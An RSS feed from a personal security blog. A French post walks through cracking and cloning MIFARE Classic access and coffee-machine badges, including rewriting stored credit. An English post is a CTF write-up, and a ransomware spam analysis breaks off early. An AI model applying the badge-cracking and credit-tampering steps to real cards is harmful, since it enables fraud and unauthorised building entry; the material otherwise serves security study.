<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Ari_Sh'tz]]></title><description><![CDATA[Some wild sh'tz appear]]></description><link>https://arishitz.net/</link><generator>Ghost 0.8</generator><lastBuildDate>Mon, 22 Sep 2025 10:01:33 GMT</lastBuildDate><atom:link href="https://arishitz.net/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Coffee, NFC, Exploit, Coffee again]]></title><description><![CDATA[<p>Il existe beaucoup d'articles sur internet au sujet des failles <a href="https://en.wikipedia.org/wiki/Near-field_communication">NFC</a> sur les cartes <a href="https://en.wikipedia.org/wiki/Radio-frequency_identification">RFID</a> <a href="https://www.mifare.net/">MIFARE</a> et je m'y suis intéressé il y a une grosse année. A l'époque je pensais qu'il serait facile de reproduire certaines actions comme recharger les badges de machines à café ou encore cloner mon</p>]]></description><link>https://arishitz.net/coffee-nfc-exploit-coffee-again/</link><guid isPermaLink="false">52bd0c6b-3e2f-493e-9095-11fd236106ac</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Tue, 14 Nov 2017 14:00:12 GMT</pubDate><content:encoded><![CDATA[<p>Il existe beaucoup d'articles sur internet au sujet des failles <a href="https://en.wikipedia.org/wiki/Near-field_communication">NFC</a> sur les cartes <a href="https://en.wikipedia.org/wiki/Radio-frequency_identification">RFID</a> <a href="https://www.mifare.net/">MIFARE</a> et je m'y suis intéressé il y a une grosse année. A l'époque je pensais qu'il serait facile de reproduire certaines actions comme recharger les badges de machines à café ou encore cloner mon badge d'accès d'immeuble. </p>

<p><u>Résultat :</u> Fail! Les outils <a href="https://github.com/nfc-tools/mfoc">mfoc</a> et <a href="https://github.com/nfc-tools/mfcuk">mfcuk</a> ne marchaient pas/plus pour des cartes <a href="https://www.nxp.com/products/identification-and-security/mifare-ics/mifare-plus/secure-contactless-smart-card-ic-for-seamless-migration:MIFARE_PLUS_SE_1K">MIFARE Classic Plus 1K</a> qui sont plus récentes.</p>

<p>En cette fin d'année 2017 j'ai décidé de ressortir les outils dont je dispose :</p>

<ul>
<li>Un <strong>lecteur NFC <a href="https://www.acs.com.hk/en/products/3/acr122u-usb-nfc-reader/">ACS ACR122u</a></strong> (40-50€ sur Amazon)
<img src="https://arishitz.net/content/images/2017/11/ACS_ACR122u.png" alt=""></li>
<li>Des <strong>badges avec le bloc 0 réinscriptible</strong> (environ 5€ les 10 avec frais de port sur internet)
<img src="https://arishitz.net/content/images/2017/11/badge_nfc_block_0_writable.jpg" alt=""></li>
<li>Différents <strong>badges de machines à café</strong> rechargeable par monnaie voir CB</li>
<li>Différents <strong>badges d'accès</strong> d'immeubles</li>
</ul>

<h6 id="ureprenonslesbasesu"><u>Reprenons les bases :</u></h6>

<p></p>

<p>Le <strong>NFC</strong> (Near-Field Communication) est une technologie de communication sans-fil à courte portée et à haute fréquence, permettant l'échange d'informations entre des périphériques jusqu'à une distance d'environ 5 cm. Cette technologie est une extension de la norme ISO/CEI 14443 standardisant les cartes de proximité utilisant la radio-identification (RFID).</p>

<p><strong>MIFARE</strong> est une des technologies de carte à puce sans contact les plus répandues dans le monde et est propriété de la société NXP. MIFARE est fondée sur l'un des standards de l'ISO 14443 de Type A fonctionnant à 13,56 MHz. 
La technologie est intégrée à la fois dans les cartes (avec une puce pour stocker les données reliée à une antenne pour les transmettre) et dans les lecteurs/encodeurs. Ces lecteurs sont fabriqués <br>
par différents fabricants sur la base d'un composant fourni par la société NXP.</p>

<p>Il existe différents types de cartes a puce MIFARE, je vais parler ici de la carte <strong>MIFARE Classic 1k</strong>, qui est la plus connu.</p>

<p>La carte est composé de <mark>16 secteurs (de 0 à 15)</mark>, chaque secteur est découpé en <mark>4 blocs de 16 octets</mark>, 1 bloc de sécurité qui protège l'accès aux 3 autres blocs de data avec <mark>2 clefs de chiffrement différentes A et B</mark> et les droits d'accès correspondant. Il y a donc au total <mark>768 octets de stockage (16secteurs x 3blocs x 16octets)</mark>.</p>

<p>Chaque carte dispose d'un <mark>numéro de série ou CSN appelé UID de 32 bits</mark> qui n'est pas censé être modifiable. Celui-ci est pré-encodé sur le <mark>bloc 0 du secteur 0</mark>. Le reste du bloc 0 est souvent accompagné d'informations sur le fabriquant ou sur le porteur de la carte.</p>

<p><u>Récapitulatif sur le schéma :</u> <br>
<img src="https://arishitz.net/content/images/2017/11/schema_secteurs-1.png" alt=""></p>

<p>Les cartes MIFARE Classic sont protégées par un <strong>algorithme de chiffrement propriétaire NXP : <a href="https://en.wikipedia.org/wiki/Crypto-1">CRYPTO1</a></strong>, pour l'authentification et le chiffrement qui a été cassé en 2008. <br>
La connaissance des clés de chiffrement est nécessaire au déchiffrement des données présentes sur la carte MIFARE. On ne peut donc lire ou écrire sur la carte MIFARE sans connaître les différentes clés A et B de chaque secteur.</p>

<p><u>Principe rapide du fonctionnement du NFC entre une carte et un lecteur :</u></p>

<ol>
<li>Lorsque l'on approche une puce d'un lecteur, celle-ci est mise sous tension et répond à un message d'initialisation appelé ATR (Answer To reset) comprenant ses paramètres de communication et attend une commande du lecteur.  </li>
<li>Le lecteur répond par un message REQA (REQuest command for type A) et la puce va répondre par un message ATQA (Answer To reQuest code for type A)  </li>
<li>Le lecteur lit l'identifiant de la carte, son UID, pour dialoguer uniquement avec celle-ci par la suite et éviter les collisions et attend un SAK (Select AcKnowledge).  </li>
<li>Le lecteur informe les autres puces à proximité, s'il y en a, qu'elles peuvent retourner dans leur état semi-passif.  </li>
<li>la puce sélectionnée envoie une réponse ATS (Answer To Select) qui contient les caractéristiques de la carte.  </li>
<li>S'en suit un échange de commande de la part du lecteur pour lire/écrire sur la puce. </li>
</ol>

<p><u>Exemple :</u> lecture du premier bloc d'une carte Mifare Classic 1k</p>

<p>1- Message d'authentification avec la clé A par défaut : cmd bloc clé uid <br>
cmd = <mark>0x60</mark> <br>
bloc = <mark>00</mark> <br>
clé A = <mark>ff ff ff ff ff ff</mark> <br>
UID = <mark>c0 ff ee 42</mark> <br>
Send : <strong><mark>60 00 ff ff ff ff ff ff c0 ff ee 42</mark></strong></p>

<p>2- Message de lecture du bloc 0 : cmd bloc <br>
cmd = <mark>0x30</mark> <br>
bloc = <mark>00</mark> <br>
Send : <strong><mark>30 00</mark></strong></p>

<p>3- Message de retour de la puce (bloc 0) : <br>
Receive : <strong><mark>c0 ff ee 42 de ad c0 ff ee de ad c1 a5 51 c0 00</mark></strong></p>

<p>Je ne vais pas lister l'ensemble des commandes mais vous pouvez les retrouver sur le pdf complet qui présente l'ensemble du fonctionnement MIFARE page 15 : <a href="http://arishitz.net/files/blog_files/MF1S50YYX_V1.pdf">MF1S50YYX_V1.pdf</a></p>

<h6 id="uenpratiqueu"><u>En pratique :</u></h6>

<p></p>

<p>Après avoir branché le lecteur pour vérifier que celui-ci est bien reconnu : <br>
<img src="https://arishitz.net/content/images/2017/11/dmesg.png" alt=""></p>

<p>Installer les différents outils/lib qui nous seront nécessaires :</p>

<p><code>$ sudo apt-get install pcsc-tools pcscd libpcsclite-dev libpcsclite1 libusb-dev</code></p>

<p>Installation de libnfc :</p>

<pre><code>$ wget http://dl.bintray.com/nfc-tools/sources/libnfc-1.7.1.tar.bz2 
$ tar xjf libnfc-1.7.1.tar.bz2 
$ cd libnfc-1.7.1/ 
$ ./configure --with-drivers=all 
$ make
$ sudo make install 
$ sudo ldconfig
</code></pre>

<p>Test du lecteur : <br>
<img src="https://arishitz.net/content/images/2017/11/nfc-scan-devices.png" alt=""></p>

<p>Test d'une carte Mifare : <br>
<img src="https://arishitz.net/content/images/2017/11/nfc-list.png" alt=""></p>

<p>Pour dumper le contenu d'une carte il faut utiliser les outils open source de la suite <a href="https://github.com/nfc-tools">nfc-tool</a>.</p>

<p>Installation de mfoc :</p>

<pre><code>$ git clone https://github.com/nfc-tools/mfoc.git
$ cd mfoc
$ autoreconf -vis
$ ./configure
$ sudo make
$ sudo make install
</code></pre>

<p>Cependant je vous conseille pour la suite de l'installer par l’intermédiaire  du tool miLazyCracker qui implémente la <a href="http://www.cs.ru.nl/%7Erverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf">Hardnested Attack</a> :</p>

<pre><code>$ git clone https://github.com/ilumitr/miLazyCracker
$ cd miLazyCracker
$ ./miLazyCrackerFreshInstall.sh
</code></pre>

<p>Une fois ces outils installés on peut tenter de dumper une carte/badge NFC avec mfoc :</p>

<p><code>$ mfoc -O badge_a_copier.dmp</code></p>

<p>Si le badge dispose uniquement de clés A et B par défaut comme <mark>ffffffffffff</mark>, <mark>000000000000</mark>, <mark>a0a1a2a3a4a5</mark>, <mark>b0b1b2b3b4b5</mark>... cela ne devrait pas poser de problème.</p>

<p>Pour ensuite cloner votre badge, c'est à dire écrire le dump complet obtenu sur un autre badge vous aurez besoin d'un badge avec le secteur 0 réinscriptible.</p>

<p>Il faut commencer par dumper le badge vierge pour aussi extraire ses clefs A et B pour ensuite avoir les autorisations d'écriture :</p>

<p><code>$ mfoc -O badge_vierge.dmp</code></p>

<p>Pour lancer la copie il faut placer le badge vierge sur le lecteur et utiliser l'outil nfc-mfclassic avec les options :</p>

<ul>
<li><mark>W</mark> car nous écrivons aussi sur le secteur 0 ;</li>
<li><mark>A</mark> et <mark>B</mark> car nous utilisons les 2 clefs à chaque fois pour écrire sur chaque secteur, le dump à copier ainsi que le dump du badge vierge comprenant ses clefs A et B actuelles ;</li>
<li><mark>badge<em>a</em>copier.dmp</mark> qui est le dump que nous voulons écrire sur le badge vierge ;</li>
<li><mark>badge_vierge.dmp</mark> qui est le dump du badge vierge (Ou le dump du badge sur lequel on veut écrire).</li>
</ul>

<p><code>$ nfc-mfclassic W A B badge_a_copier.dmp badge_vierge.dmp</code></p>

<p>Si tout se passe bien vous devriez avoir le résultat suivant :</p>

<p><img src="https://arishitz.net/content/images/2017/11/nfc-mfclassic_copie.png" alt=""></p>

<p>Vous voilà avec une copie parfaite de votre badge, pratique en cas de perte.</p>

<p>Cependant il arrive souvent (heureusement) que des badges d'accès ou de machines à café ne possèdent pas de clés par défaut sur tous les secteurs ! Dans ce cas mfoc va tenter une attaque appelée <mark>"<a href="https://nethemba.com/resources/mifare-classic-slides.pdf">nested attack</a>"</mark> sur la librairie <a href="http://crapto1.netgarage.org/">crapto1</a>. Crapto1, sous licence GPL et disponible publiquement permet d'exploiter les faiblesses cryptographiques des cartes à base de puce sans contact RFID utilisant la technologie crypto1 MIFARE, l'attaque est basée sur ce <a href="https://www.usenix.org/legacy/events/sec08/tech/full_papers/nohl/nohl.pdf">papier de 2008</a>.</p>

<p>Il existe aussi une autre attaque dite <mark>"Dark Side"</mark>, par <a href="http://www.nicolascourtois.com/MifareClassicHack.pdf">Nicolas Courtois</a>, mise en place dans l'outil open source <a href="https://github.com/nfc-tools/mfcuk">mfcuk</a>. Il utilise aussi LIBNFC et CRAPTO1 pour exploiter les faiblesses de la technologie crypto1 MIFARE à la différence que cette attaque ne nécessite pas de connaitre une clé A ou B valide pour retrouver les autres.</p>

<p>Je m'étais arrêté ici l'année dernière mais j'ai récemment découvert une nouvelle attaque. Effectivement les attaques <mark>"Nested Attack"</mark> de mfoc et <mark>"Darkside Attack"</mark> de mfcuk ne fonctionnent plus sur les cartes à Puce de type MIFARE Plus SL1 qui ont fixé la vulnérabilité sur le "pseudorandom number generator" (PRNG) mais ces nouvelles cartes utilisent toujours CRYPTO1 ! </p>

<p>Dans un <a href="http://www.cs.ru.nl/~rverdult/Ciphertext-only_Cryptanalysis_on_Hardened_Mifare_Classic_Cards-CCS_2015.pdf">papier de Carlo Meijer et Roel Verdult</a> une nouvelle attaque <mark>"Nested attack"</mark> est décrite. Celle-ci requiert de connaître au moins une clé A ou B. Si j'ai bien compris l'attaque, celle-ci consiste à faire de très nombreuses tentatives d'authentification imbriquées, ce qui va permettre de collecter des nonces chiffrés uniques et permettre par cette fuite de réduire les possibilités de clés pour ensuite finir par bruteforcer la clé cherchée.</p>

<p>L'implémentation de cette attaque dans l'outil miLazyCracker date de début d'année 2017. Elle nécessite de patcher les versions de LibNFC de mfoc, d’où l’installation de mfoc par le script miLazyCrackerFreshInstall.sh . <br>
Pour lancer directement l'attaque sur une carte dont on connait une clé A ou B (par défaut), il faut lancer l'outil <mark>libnfc_crypto1_crack</mark> qui se situe dans "miLazyCracker/crypto1_bs/"</p>

<p><img src="https://arishitz.net/content/images/2017/11/libnfc_crypto1_crack_help.png" alt=""></p>

<p>Avec cette découverte, je me suis relancé dans les tentatives de dumps/clonages/modifications de différents tags NFC MIFARE dont je dispose et qui résistaient aux attaques de mfoc et mfcuk : </p>

<ul>
<li>2 badges d'accès d'immeuble</li>
<li>1 badge et 1 clé de machine à café</li>
</ul>

<p>Prenons par exemple le badge de machine à café. Je connais la clé A et B par défaut sur l'ensemble des secteurs sauf la clé B des secteurs 8,9,10,11,12,13 et 14 (par chance ici il s’avérera être la même clé sur les 7 secteurs). Je vais donc attaquer la clé B sur le secteur 8 et son premier bloc : le bloc 32 (8ème secteur x 4 blocs) en connaissant la clé A du même bloc.</p>

<p><img src="https://arishitz.net/content/images/2017/11/libnfc_crypto1_crack.png" alt=""></p>

<p>Moins de 10 minutes plus tard dans ce cas la clé est tombée, cela peut prendre plusieurs heures.</p>

<p>Une fois qu'une clé est découverte on peut tenter de relancer mfoc avec cette clé en paramètre (option -k) :</p>

<p><img src="https://arishitz.net/content/images/2017/11/mfoc_with_key.png" alt=""></p>

<p>On voit ici que notre clé ajoutée aux clés par défauts est directement détectée en tant que clé B sur les champs voulues. Les tests avec les 2 autres clefs par défauts suivantes permettent par la suite de déchiffrer l'ensemble des secteurs et de réaliser un dump complet du badge à café.</p>

<p>A partir de là, il est donc facile de dupliquer le badge à café et même de réécrire par-dessus. On pourrait donc remplir le badge à café de monnaie, le dumper et réécrire sur le badge ce dump après utilisation pour retrouver le montant initial total sans le recharger avec de la monnaie. Manipulation faite uniquement à titre expérimental évidement.</p>

<p><img src="https://arishitz.net/content/images/2017/11/darkside_coffee.jpg" alt=""></p>

<p>En étudiant différents dumps de ce badge à café avec différents soldes je n'ai pas réussi à trouver une quelconque routine, trop de valeurs différentes changent entre chaque dump. Il faudrait réussir à reverse le firmware du lecteur pour comprendre comment sont traitées/encodées/chiffrées les datas.</p>

<p>En testant l'attaque sur la clé à café (C'est aussi un badge/tag NFC mais avec une forme de clé) j'ai pu de la même façon récupérer 4 clés B qui me manquaient, cela a pris plus de temps  (2 heures au total). La comparaison par la suite de plusieurs dumps fut bien plus fructueuse !  </p>

<p><img src="https://arishitz.net/content/images/2017/11/diff_dump_coffee-1.png" alt=""></p>

<p>On voit très vite en faisant une comparaison de 2 dumps sous leur forme hexadécimal qu'une seule valeur a changé et encore mieux, cette valeur correspond en décimal à la somme présente sur la clé ! Il est donc possible en changeant cette valeur de faire varier la somme présente sur la clef... Ce qui est interdit, je le rappelle !</p>

<p>J'ai ensuite voulu tester qu'elle était le montant maximum qui pouvait être mis sur la clé. J'ai donc essayé de mettre la valeur hexadécimal 0xFFFF qui aurait du créditer le badge de 65535 centimes soit 655,35€. Mais lorsque j'ai mis en contact la clé sur le lecteur la nouvelle somme affichée n'était que de 40,95€ ce qui correspond a la valeur hexadécimal 0xFFF qui est donc la somme maximale possible sur la clé (11111111 1111xxxxxx en binaire).</p>

<p>Concernant les badges d'accès d'immeuble, le premier ne présentait que des clés par défaut et a pu donc être cloné directement avec mfoc mais celui si disposait de 2 technologies différentes, <a href="https://www.hidglobal.fr/products/cards-and-credentials/iclass/232-242-243">une partie MIFARE Classic 1k et une partie HID iCLASS</a> qui nécessite du matériel différent (Proxmark3, <a href="https://www.hidglobal.fr/products/readers/iclass">lecteur/graveur HID</a> pour être analysé/cloné. Le second badge correspondant à celui de mon immeuble a pu être cassé, dumpé et cloné grâce à la "Nested Attack" en 1 heure.</p>

<p>Si vous possédez un smartphone compatible NFC, il existe plusieurs applications comme <a href="https://play.google.com/store/apps/details?id=de.syss.MifareClassicTool&amp;hl=fr">MIFARE Classic Tool - MCT</a> qui vous permettrons de dumper/réécrire sur vos différents badges MIFARE CLassic 1k. Il vous suffira de rentrer les clés A et B si vous les connaissez ou les avez cassé.</p>

<p><img src="https://arishitz.net/content/images/2017/11/Mifare_Classic_Tool_Android.png" alt=""></p>

<p>Pour aller plus loin et si on en a les moyens le <a href="https://store.ryscc.com/collections/featured/products/new-proxmark3-kit">proxmark3</a> semble être l'outil parfait, il supporte les fréquences 125kHz, 134kHz (HID Prox II, HITAG, EM4100) ainsi que les communications en 13,56Mhz (MIFARE Classic/Ultralight et iClass). D'ailleurs si quelqu'un en a un qui traîne...</p>

<p>Fap'ment,</p>

<p>++</p>]]></content:encoded></item><item><title><![CDATA[Play The Game  for fun and Pineapple]]></title><description><![CDATA[<p><em>with a lot of delay...</em></p>

<p>In April at the <a href="https://www.sthack.fr/">STHACK</a> security event in Bordeaux we have found a curious visit card from the <a href="http://www.novidys.com/">Novidy's Group</a> :</p>

<p><img src="https://arishitz.net/content/images/2017/06/visit_card.png" alt=""></p>

<p>After scanning The QRCode with my smartphone I get this url : <a href="http://2uqcr3jdmdpru7xyf56hza3k3nquqv3ddhw4ow5hwgkpuvcfuasq.b32.i2p/">http://2uqcr3jdmdpru7xyf56hza3k3nquqv3ddhw4ow5hwgkpuvcfuasq.b32.i2p/</a></p>

<p><img src="https://arishitz.net/content/images/2017/06/qrcode.png" alt=""></p>

<p>It's an I2P url ! What's <a href="https://geti2p.net">I2P</a> ?</p>

<p><em>'I2P is an anonymous</em></p>]]></description><link>https://arishitz.net/play-the-game-for-fun-and-pineapple-2/</link><guid isPermaLink="false">7b8a15c7-3e32-47cd-930f-72d312f57526</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Sat, 04 Nov 2017 01:19:36 GMT</pubDate><content:encoded><![CDATA[<p><em>with a lot of delay...</em></p>

<p>In April at the <a href="https://www.sthack.fr/">STHACK</a> security event in Bordeaux we have found a curious visit card from the <a href="http://www.novidys.com/">Novidy's Group</a> :</p>

<p><img src="https://arishitz.net/content/images/2017/06/visit_card.png" alt=""></p>

<p>After scanning The QRCode with my smartphone I get this url : <a href="http://2uqcr3jdmdpru7xyf56hza3k3nquqv3ddhw4ow5hwgkpuvcfuasq.b32.i2p/">http://2uqcr3jdmdpru7xyf56hza3k3nquqv3ddhw4ow5hwgkpuvcfuasq.b32.i2p/</a></p>

<p><img src="https://arishitz.net/content/images/2017/06/qrcode.png" alt=""></p>

<p>It's an I2P url ! What's <a href="https://geti2p.net">I2P</a> ?</p>

<p><em>'I2P is an anonymous overlay network - a network within a network. It is intended to protect communication from dragnet surveillance and monitoring by third parties such as ISPs.
I2P is used by many people who care about their privacy: activists, oppressed people, journalists and whistleblowers, as well as the average person. <br>
No network can be "perfectly anonymous". The continued goal of I2P is to make attacks more and more difficult to mount. Its anonymity will get stronger as the size of the network increases and with ongoing academic review. <br>
I2P is available on desktops, embedded systems (like the Raspberry Pi) and Android phones. Help spread the word!'</em></p>

<p>Downloading and installing i2p : <a href="https://geti2p.net/en/download">https://geti2p.net/en/download</a> </p>

<p><u>For debian Jessie :</u></p>

<p>Create <code>/etc/apt/sources.list.d/i2p.list</code> and add the following lines :</p>

<pre><code>deb https://deb.i2p2.de/ jessie main
deb-src https://deb.i2p2.de/ jessie main
</code></pre>

<p><u>launch these commands :</u></p>

<p><code>$ apt-key add i2p-debian-repo.key.asc</code></p>

<p><code>$ apt-get update</code></p>

<p><code>$ apt-get install i2p i2p-keyring</code> </p>

<p><u>Finaly Launch I2P :</u></p>

<p><code>$ i2prouter start</code></p>

<p>After setting up a proxy to work with my browser for visiting the site throught I2P I get this image : <mark>obf.jpg</mark></p>

<p><img src="https://arishitz.net/content/images/2017/06/obf.jpg" alt=""></p>

<p>The page source give me more indications :</p>

<p><img src="https://arishitz.net/content/images/2017/06/html.png" alt=""></p>

<p>Nice ! It's a chall with nice prices :]</p>

<p><strong>Step 1 :</strong></p>

<p>So what can I do with this image ?</p>

<p>The <a href="https://en.wikipedia.org/wiki/Foremost_(software)" title="Foremost Wikipedia">Foremost</a> tool extract a protected zip file with a password.</p>

<p>The password is on the picture, trying to guess it was a fail ! <br>
With gimp and the "Amelioration -> Désentrelacer" filter I can see the password : <mark>@p3nYoUr3ye5!</mark></p>

<p><img src="https://arishitz.net/content/images/2017/06/gimp.png" alt=""></p>

<p>First step is done !</p>

<pre><code>$ cat nice.txt
not so bad Dude!
email to validate this step is : O1SIy-1bZHo-sdbEJ-mUkh1-eLc49@novidys.com
</code></pre>

<p><strong>Step 2</strong></p>

<p>Now I have a dump file, it's a <a href="https://en.wikipedia.org/wiki/Pcap">PCAP</a> file of ICMP requests with datas encoded in hexadecimal.</p>

<p>The python script for recover the splitted datas :</p>

<pre><code class="language-python">#!/usr/bin/python

import dpkt

input = file("dump.pcap", "rb")

# We are going to extract all ICMP payloads and concatenate them in one file
output = open("output", "w")

pcap = dpkt.pcap.Reader(input)

for ts, buf in pcap:  
        eth=dpkt.ethernet.Ethernet(buf)
        ip=eth.data
        icmp=ip.data

# The parsed packets in the dpkt.pcap.Reader contains two members: "ts" and "buf".
# The member "ts" is just the timestamp which lived in the packet when captured 
# by Wireshark; it is the clock when captured this packet. The member "buf" holds 
# the real packet data captured by capture tool, it's the raw traffic data.

        if (ip.p==dpkt.ip.IP_PROTO_ICMP) and len(icmp.data.data) &gt; 0 :
                    try:
                        #print icmp.data.data
                        output.write(icmp.data.data)
                    except:
                        print 'Error extracting ICMP payload data from this packet.'
                        #continue

input.close()  
output.close()  
</code></pre>

<p>The decoded output file in hexadecimal give me some base64 and finally a gz archive for finish the step 2 !</p>

<pre><code>$ cat output | xxd -r -p | base64 -d &gt; output_to_base64_to_gzip
$ tar -xvzf output_to_base64_to_gzip
my.img  
step.txt  
$ cat step.txt 
we need you to go deeper  
the email to validate this step is 5LH7w-rIOLh-fRjeG-vQKDj-osAKV@novidys.com  
</code></pre>

<p><strong>Step 3 :</strong></p>

<p>Next I have a file <mark>my.img</mark></p>

<pre><code>$ file my.img 
my.img: Linux rev 1.0 ext4 filesystem data, UUID=5308fb61-f662-4c0a-8caa-ba552c53cfab (needs journal recovery) (extents) (huge files)  
</code></pre>

<p>I can mount it : <br>
<code>$ sudo mount my.img /mnt/forensic</code></p>

<p>I obtain 250 files with this Russian text inside and the name of the files looks like base64 string.  </p>

<pre><code>$ cat 0ENeRnncw1xz9xXZnMsuWRnNaGR9SXmQ.txt
В рамках своей миссии по обеспечению информационной безопасности 
Агентство национальной безопасности уже давно участвует в 
исследовательском сообществе компьютерной безопасности в изучении 
широкого спектра вопросов безопасности компьютеров, включая безопасность 
операционной системы. Признавая критическую роль механизмов безопасности 
операционной системы в обеспечении безопасности на более высоких уровнях, 
исследователи из исследовательской группы NSA Trusted Systems Research, 
ранее являвшейся Национальной исследовательской лабораторией по исследованию 
информации, изучали архитектуру, которая может обеспечить необходимые 
функции безопасности таким образом, который может удовлетворить Потребности 
в безопасности широкого круга вычислительных сред.
</code></pre>

<p>In English with Google Translate :</p>

<p><em>As part of its mission to ensure information security
The National Security Agency has long been involved in <br>
Research community of computer security in the study <br>
A wide range of computer security issues, including security <br>
Operating system. Recognizing the critical role of security mechanisms <br>
Operating system in providing security at higher levels, <br>
Researchers from the research group NSA Trusted Systems Research, <br>
Previously the National Research Laboratory for Research <br>
Information, studied the architecture, which can provide the necessary <br>
Security functions in a way that can satisfy the needs <br>
A wide range of computing environments.</em></p>

<p>One file named secret.des3 have base64 inside :</p>

<p><code>$ cat forensic/secret.des3 | base64 -d &gt; secret.des3.data</code></p>

<pre><code>$ hexdump -C -n 16 secret.des3.data 
00000000  53 61 6c 74 65 64 5f 5f  d3 99 ee 14 5f 90 ca cf  |Salted__...._...|  
</code></pre>

<p>It's a salted DES3 file encrypted and we need a password for decryption : <a href="http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format">http://justsolve.archiveteam.org/wiki/OpenSSL_salted_format</a></p>

<p>I am looking for the password, after time lost to find something with the name of each file I returned to the basic <mark><strong>strings</strong></mark> command :</p>

<pre><code>$ strings my.img | grep openssl
openssl des3 key H0t-p4T4toZz  
</code></pre>

<p><u>Decrypting the DES3 file :</u></p>

<pre><code>$ cat secret.des3 | base64 -d &gt; secret.des3.data
$ openssl des3 -d -in secret.des3.data -out secret.txt
enter des-ede3-cbc decryption password:

$ file secret.txt 
secret.txt: POSIX tar archive (GNU)  
$ mv secret.txt secret.gz
$ tar -xvwf secret.gz
extract « getTheFlag.b64 »?  
getTheFlag.b64  
extract « doc.txt »?  
doc.txt

$ cat doc.txt 
Hi Dude, happy to see you again, the validation email for this step is vCgPM-3t6J4-5ubAE-wk5Lh-6VnGs@novidys.com  
</code></pre>

<p><strong>Step 4, final step :</strong></p>

<p>I'm not a reverser so I need to ask for help from a friend, thanks to him !</p>

<ol>
<li>Bypass the call ptrace in 0x400675  </li>
<li>Watch the flow with hopper  </li>
<li>Use <a href="http://angr.io/">angr</a></li>
</ol>

<p>Import of the angr library :  </p>

<pre><code>$ python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)  
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.  
&gt;&gt;&gt; import angr
WARNING | 2017-06-12 23:15:21,769 | claripy | Claripy is setting the recursion limit to 15000. If Python segfaults, I am sorry.  
</code></pre>

<p>Creation of the angr project disabling the auto loading of libraries :  </p>

<pre><code>&gt;&gt;&gt; proj = angr.Project('./getTheFlag.bin',load_options={"auto_load_libs": False})
</code></pre>

<p>Buffer of 16 bytes :  </p>

<pre><code>&gt;&gt;&gt; argv1 = angr.claripy.BVS("argv1",16*8)
&gt;&gt;&gt; initial_state = proj.factory.path(args=["./getTheFlag.bin",argv1])
&gt;&gt;&gt; pg = proj.factory.path_group(initial_state)
</code></pre>

<p>We want to reach the 0x0400954 address :  </p>

<pre><code>&gt;&gt;&gt; pgs=pg.explore(find=0x0400954)  
WARNING | 2017-06-12 23:16:32,099 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.  
&gt;&gt;&gt; pgs
&lt;PathGroup with 15 deadended, 1 errored&gt;  
&gt;&gt;&gt; solution = pg.errored[0].state.se.any_str(argv1)
&gt;&gt;&gt; print repr(solution)
'N0v1Dy5X0rK3y\x00\x00\x00'  
</code></pre>

<p>Nice, I try it as the key :</p>

<pre><code>$ ./getTheFlag.bin N0v1Dy5X0rK3y
You did It Dude ;). It is the last step, the mail is fPlxy-gts4c-txMw9-OWnmP-WK3MX@novidys.com  
</code></pre>

<p>Done!!! I get the last email address ! <br>
Few days later I receive an email telling me that I am the first to have solved the challenge.  </p>

<p>So I won the Pineapple (voucher for simplicity reasons), thanks again <a href="http://www.novidys.com/">Novidys</a> for the challenge !</p>

<p>\o/</p>

<p><img src="https://arishitz.net/content/images/2017/11/pineapple.png " pineapple""="" alt="Pineapple"></p>

<p>Fap'ment,</p>

<p>++</p>]]></content:encoded></item><item><title><![CDATA[From SPAM to Shade Ransomware]]></title><description><![CDATA[<p>Hier matin, comme tous les (Lundi) matins, un nouveau <strong>SPAM</strong> parmi tant d'autres est arrivé ! Cela faisait un moment que je ne voyais plus de <a href="https://fr.wikipedia.org/wiki/Ransomware"><strong>Ransomwares</strong></a> mais il semble que de nouvelles vagues soient en cours :</p>

<ul>
<li>Le retour d'une variante de <strong>Locky</strong> : <a href="https://www.bleepingcomputer.com/news/security/the-locky-ransomware-is-back-and-still-adding-osiris-to-encrypted-files/">The Locky Ransomware is Back and Still Adding</a></li></ul>]]></description><link>https://arishitz.net/from-spam-to-shade-ransomware/</link><guid isPermaLink="false">64ea05c2-82af-4d01-913b-5885fe4ac9b6</guid><dc:creator><![CDATA[ari_]]></dc:creator><pubDate>Tue, 25 Apr 2017 21:59:02 GMT</pubDate><content:encoded><![CDATA[<p>Hier matin, comme tous les (Lundi) matins, un nouveau <strong>SPAM</strong> parmi tant d'autres est arrivé ! Cela faisait un moment que je ne voyais plus de <a href="https://fr.wikipedia.org/wiki/Ransomware"><strong>Ransomwares</strong></a> mais il semble que de nouvelles vagues soient en cours :</p>

<ul>
<li>Le retour d'une variante de <strong>Locky</strong> : <a href="https://www.bleepingcomputer.com/news/security/the-locky-ransomware-is-back-and-still-adding-osiris-to-encrypted-files/">The Locky Ransomware is Back and Still Adding OSIRIS to Encrypted Files</a></li>
<li>Le retour, ici, de <strong>Shade</strong> appelé aussi <strong>Troldesh</strong> qui avait fait parler de lui en fin d'année 2016 : <a href="https://www.bleepingcomputer.com/news/security/kelihos-botnet-delivering-shade-troldesh-ransomware-with-no-more-ransom-extension/">Kelihos Botnet Delivering Shade (Troldesh) Ransomware with No_More_Ransom Extension</a></li>
</ul>

<p>Analysons ce fameux SPAM dans une <a href="https://fr.wikipedia.org/wiki/Sandbox_%28s%C3%A9curit%C3%A9_informatique%29"><em>SandBox</em></a> :</p>

<p><img src="https://arishitz.net/content/images/2017/04/2_mail.png" alt=""></p>

<p>Il apparaît clairement que cet email est louche, émetteur inconnu, domaine trompeur : <mark>agence@photographe<strong>g</strong>s.fr</mark>, français pire que le mien ;]</p>

<p>Il suffit de passer la souris sur le lien pour se rendre compte que celui-ci ne correspond pas à celui affiché.</p>

<p>Laissons nous avoir et suivons le lien, on nous propose directement de télécharger une archive : <mark>photos.zip</mark> :</p>

<p><img src="https://arishitz.net/content/images/2017/04/3_1_0_dl_js.png" alt=""></p>

